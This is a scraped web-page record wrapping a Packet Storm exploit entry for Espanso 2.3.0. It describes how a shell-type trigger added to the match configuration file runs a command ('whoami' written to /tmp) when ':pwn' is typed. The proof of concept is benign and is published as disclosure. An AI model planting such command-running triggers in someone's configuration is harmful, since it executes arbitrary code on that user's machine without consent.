{“lastseen”:”2026-05-13T17:46:53″,”description”:”The Shell extension in Espanso version 2.3.0 allows arbitrary command execution. An attacker who can modify the match configuration file can inject shell commands that execute when the user types the trigger. No restart required…”,”published”:”2026-05-13T00:00:00″,”modified”:”2026-05-13T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Espanso 2.3.0 Shell Extension Arbitrary Command Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:220989″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”# Exploit Title: Espanso v2.3.0 – Shell Extension Arbitrary Command\\n Execution (RCE)\\n # Date: 2026-05-13\\n # Exploit Author: Chokri Hammedi\\n # Software: https:\/\/github.com\/espanso\/espanso\/releases\/tag\/v2.3.0\\n # Vendor: https:\/\/espanso.org\/\\n # Version: 2.3.0\\n # Tested on: Linux\\n #\\n # Description:\\n # The Shell extension in Espanso v2.3.0 allows arbitrary command execution.\\n # An attacker who can modify the match configuration file can inject shell\\n # commands that execute when the user types the trigger. No restart\\n required.\\n \\n \\n \\n STEPS:\\n \\n 1. Edit the match file:\\n \\n espanso edit\\n \\n \\n 2. Add this trigger:\\n \\n – trigger: \\”:pwn\\” replace: \\”{{output}}\\” vars: – name: output type: shell\\n params: cmd: \\”whoami \\u003e \/tmp\/whoami.txt \\u0026\\u0026 echo PWNED\\”\\n \\n \\n 3. Open any text editor and type:\\n \\n :pwn\\n \\n \\n 4. Check result:\\n \\n cat \/tmp\/whoami.txt\\n \\n Output: user”,”sourceHref”:”https:\/\/packetstorm.news\/download\/220989″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/220989\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-13T17:46:53″,”description”:”The Shell extension in Espanso version 2.3.0 allows arbitrary command execution. An attacker who can modify the match configuration file can inject shell commands that…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-54216","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n